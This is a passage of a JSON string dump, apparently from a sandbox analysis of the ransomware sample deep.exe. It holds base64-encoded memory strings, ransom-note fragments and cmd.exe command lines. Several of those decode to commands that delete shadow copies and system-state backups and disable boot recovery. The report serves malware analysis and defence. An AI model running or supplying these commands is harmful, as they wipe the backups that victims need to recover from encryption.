Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVkNIZWFwX0V4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVkNYX0V4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmV4Y2VwdGlvbkBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxlbmd0aF9lcnJvckBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmxvZ2ljX2Vycm9yQHN0ZEBA","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVm91dF9vZl9yYW5nZUBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVlNhZmVJbnRFeGNlcHRpb25AQA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3C000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LklhbnVAel1D","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"LlM2OylNNzc7NHs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Llo8YH1idl8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ly14YUR5KHZj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L183Zk1zb2ZFPA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L183ZnRzb2ZFPA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L18+fU1rfGFqLA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSBib290c3RhdHVzcG9saWN5IGlnbm9yZWFsbGZhaWx1cmVz","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgYmNkZWRpdCAvc2V0IHtkZWZhdWx0fSByZWNvdmVyeWVuYWJsZWQgTm8=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgY29weSAveSAiQzpcZGVlcC5leGUiICIlQVBQREFUQSVcZGVlcC5leGUi","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0MgTkVUIFVTRQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgc3RhcnQgL21heCBub3RlcGFkLmV4ZSAiJVVTRVJQUk9GSUxFJVxIT1cgVE8gUkVDT1ZFUiBFTkNSWVBURUQgRklMRVMuVFhUIg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2MgdnNzYWRtaW4gRGVsZXRlIFNoYWRvd3MgL0FsbCAvUXVpZXQ=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgd2JhZG1pbiBERUxFVEUgU1lTVEVNU1RBVEVCQUNLVVAgLWtlZXBWZXJzaW9uczow","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2Mgd21pYyBTSEFET1dDT1BZIERFTEVURQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L1NbellRWVZe","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L35KPXNzYVBK","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MCdmcHswTnFx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MCwgLSwwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MDE2QzhDRTY5MjNGODRENkRCMjYxRDUwRjBGQ0U4MjgzQzlGOUZBNTJCQUIzMTdE","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"MEl2SzxGQT05LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MFV5flFuLTI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MHhybCFsclRwJw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MSQxRDFwMXQxeDE=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MSZ1VF4rYS4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MUBcOURVIjlQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MUhvZjI1Ijoo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MjA4MUZCNUQ=","type":"Unicode","source":"Runtime Data","process":"vssadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MjBxfmNhKDtjZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MjVzLSAlLjQ4cy4uLg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Mjk2MkRFMTg3OUUzOTE2NzNBNTM1NkIxNjk5QTdBRTk4Q0UzQTQwMkQyOTgwQjhGRDdCQkM4QzBEMEQ5MkQ3MjQ3RkNDRDkyNDQyQzcyMjEzM0NBNUMwQUE0MEYxMjg5RkYzRg==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"Mjk2MkRFMTg3OUUzOTE2NzNBNTM1NkIxNjk5QTdBRTk4Q0UzQTRfMkQyOThfQjhGRDdCQkM4Q19EX0Q5MkQ3MjQ3RkNDRDkyNDQyQzcyMjEzM0NBNUNfQUE0X0YxMjg5RkYzRg==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"MmQtJS4yZC0lLjRkVCUuMmQ6JS4yZDolLjJk","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MmlPIWkzbHFV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MlJ9bCl4MUg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MyB9bn5iY2gz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MywkMSwkMywkXA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"MzU5QjI4MjYyQjc1Qjk1Qjg3MTFCRjQyNTQ3NzFCOEEyQzlERURGNTcxQjFFNkM2QTY1OUU4QjYzQkI5ODFFQjY1MTMwQjc3NDJENTFENDhCOEEzMEE2MjY0NDA2OEQ4RjZERQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"MzU5QjI4MjYyQjc1Qjk1Qjg3MTFCRjQyNTQ3NzFCOEEyQzlERURGNTcxQjFFNkM2QTY1OUU4QjYzQkI5ODFFQjY1MTNfQjc3NDJENTFENDhCOEEzX0E2MjY0NF82OEQ4RjZERQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"M2cgU0Z4ZFtn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"M1peIFJmPkhQXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NCtxYFxKXjkj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NDIpbV4qPzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NDdnYnxEKSo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NGA7bD5BYHZwcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NFgmK2hIMGhcVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NTpfIyJON2VV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NWRXPjomdSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NXcnVmQlfU1ybQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ni4xLjc2MDAuMTYzODU=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NjJIfSI5VnlYXn5bVg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NkEwMjAwMDAwMDAwMDAwMDI3RjE3MTM5MUQ5MkM5MTE4MDMwMEMwMzVCOTI2RkJCRkZDNkQ4MzBGOTMwRTBDODVBODkwQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"NkFfMl9fX19fX19fX19fXzI3RjE3MTM5MUQ5MkM5MTE4XzNfX0NfMzVCOTI2RkJCRkZDNkQ4M19GOTNfRV9DODVBODlfQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFRA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"NnYvY29QKlRV","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NyJlWm08MzptdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NyVcdWJgYV9cbGc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzIhQSQzTWJFPw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"NzxnPip1eVsh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N1w3JW48RXlv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N2BXNCpKcT8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N05NV3ZrZ0BS","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3M4IHxMTlI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"N3tHNDEpSC0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCUiYFhaPkEx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCg6ZTA7PEBP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OCxceEVhVT4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ODRSeHYwUE9Iaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OEJ8Zjg2dSRaPQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OGVZcSl9flM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OG1RMHJBXSM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OSBodnNrcSFP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OS4yOS45NTIuMzExMQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OV46MyhvXXVM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OV9xJTYjJltTOTM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OUUoXH5gdjZB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OVdKIF9YW1N0eA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OjpnZXRFbGVtZW50c0J5VGFnTmFtZShMIlZBTFVFIiwgLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OlxIR1lCVGFxYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OkJsSnt0LjA+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OkJRW0tST1JI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"OmdldF9pdGVtKC0sLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"OlJAPSt7YWRU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Oyh4WiJ9amk/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ozk1UDJoX0Aq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O0YsTF91d01YdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O2Z6TVhCPFQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O3IudmNMU3tgaUtQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"O3lNYz5TTnpO","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PC9BTElBU1RBUkdFVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9BU1NPQy5PQkpFQ1RBUlJBWT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9DT01NQU5EPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9DT01NQU5ETElORUNPTVBPTkVOVFM+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9GQUNJTElUWUNPREU+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9GT1JNQVQ+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9GT1JNQVRTPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9JTlNUQU5DRT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9OT0RFTElTVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9QUk9QRVJUSUVTPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9QUk9QRVJUWT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9SRVFVRVNUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9SRVNVTFRTPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PC9WQUxVRS5PQkpFQ1Q+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PDlYS1ggLD5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"$31","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PF9KU1h8TWRFaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PEFMSUFTVEFSR0VUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEFycmF5IG9m","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEFTU09DLk9CSkVDVEFSUkFZPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENMQVNTIE5BTUU9IiVzIiBTVVBFUkNMQVNTPSIlcyI+PFBST1BFUlRZIE5BTUU9Il9fUEFUSCIgQ0xBU1NPUklHSU49Il9fU1lTVEVNIiBUWVBFPSJzdHJpbmciPjxWQUxVRT48IVtDREFUQVslcyA8L1ZBTFVFPjwvUFJPUEVSVFk+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PGNPYTB3VTg6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkQgU0VRVUVOQ0VOVU09IiVkIiBJU1NVRURGUk9NPSIlcyIgU1RBUlRUSU1FPSIlcyIgRVZFUllDT1VOVD0iJWQiPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkRMSU5FPiVzPC9DT01NQU5ETElORT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTU1BTkRMSU5FQ09NUE9ORU5UUz4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PENPTlRFWFQ+PE5BTUVTUEFDRT4lczwvTkFNRVNQQUNFPjxST0xFPiVzPC9ST0xFPjxJTVBMRVZFTD4lczwvSU1QTEVWRUw+PEFVVEhMRVZFTD4lczwvQVVUSExFVkVMPjxMT0NBTEU+JXM8L0xPQ0FMRT48UFJJVklMRUdFUz4lczwvUFJJVklMRUdFUz48VFJBQ0U+JXM8L1RSQUNFPjxSRUNPUkQ+JXM8L1JFQ09SRD48SU5URVJBQ1RJVkU+JXM8L0lOVEVSQUNUSVZFPjxGQUlMRkFTVD4lczwvRkFJTEZBU1Q+PE9VVFBVVD4lczwvT1VUUFVUPjxBUFBF","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFUklWQVRJT04+JXM8L0RFUklWQVRJT04+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPiJVbmtub3duIFdCRU0gRXJyb3IiPC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PERFU0NSSVBUSU9OPiVzPC9ERVNDUklQVElPTj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEVtYmVkZWQgT2JqZWN0Pg==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEVSUk9SPjxERVNDUklQVElPTj4lczwvREVTQ1JJUFRJT04+PC9FUlJPUj4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEZBQ0lMSVRZQ09ERS8+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEZBQ0lMSVRZQ09ERT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEZPUk1BVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEZPUk1BVFM+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PEZSSUVORExZTkFNRT4lczwvRlJJRU5ETFlOQU1FPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PGcvLGVYLVgk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PEhSRVNVTFQ+MHgleDwvSFJFU1VMVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PElOU1RBTkNFIENMQVNTTkFNRT0iJXMiPjxQUk9QRVJUWSBOQU1FPSJfX1BBVEgiIENMQVNTT1JJR0lOPSJfX1NZU1RFTSIgVFlQRT0ic3RyaW5nIj48VkFMVUU+PCFbQ0RBVEFbJXMgPC9WQUxVRT48L1BST1BFUlRZPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE5BTUVTUEFDRT4lczwvTkFNRVNQQUNFPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE5PREU+JXM8L05PREU+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PE5PREVMSVNUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFBBUkFNPjxOQU1FPiVzPC9OQU1FPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFBST1BFUlRJRVM+","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFBST1BFUlRZPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFBXSEVSRT4lczwvUFdIRVJFPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFJFUVVFU1Q+","type":"Unicode","source":"Hybrid 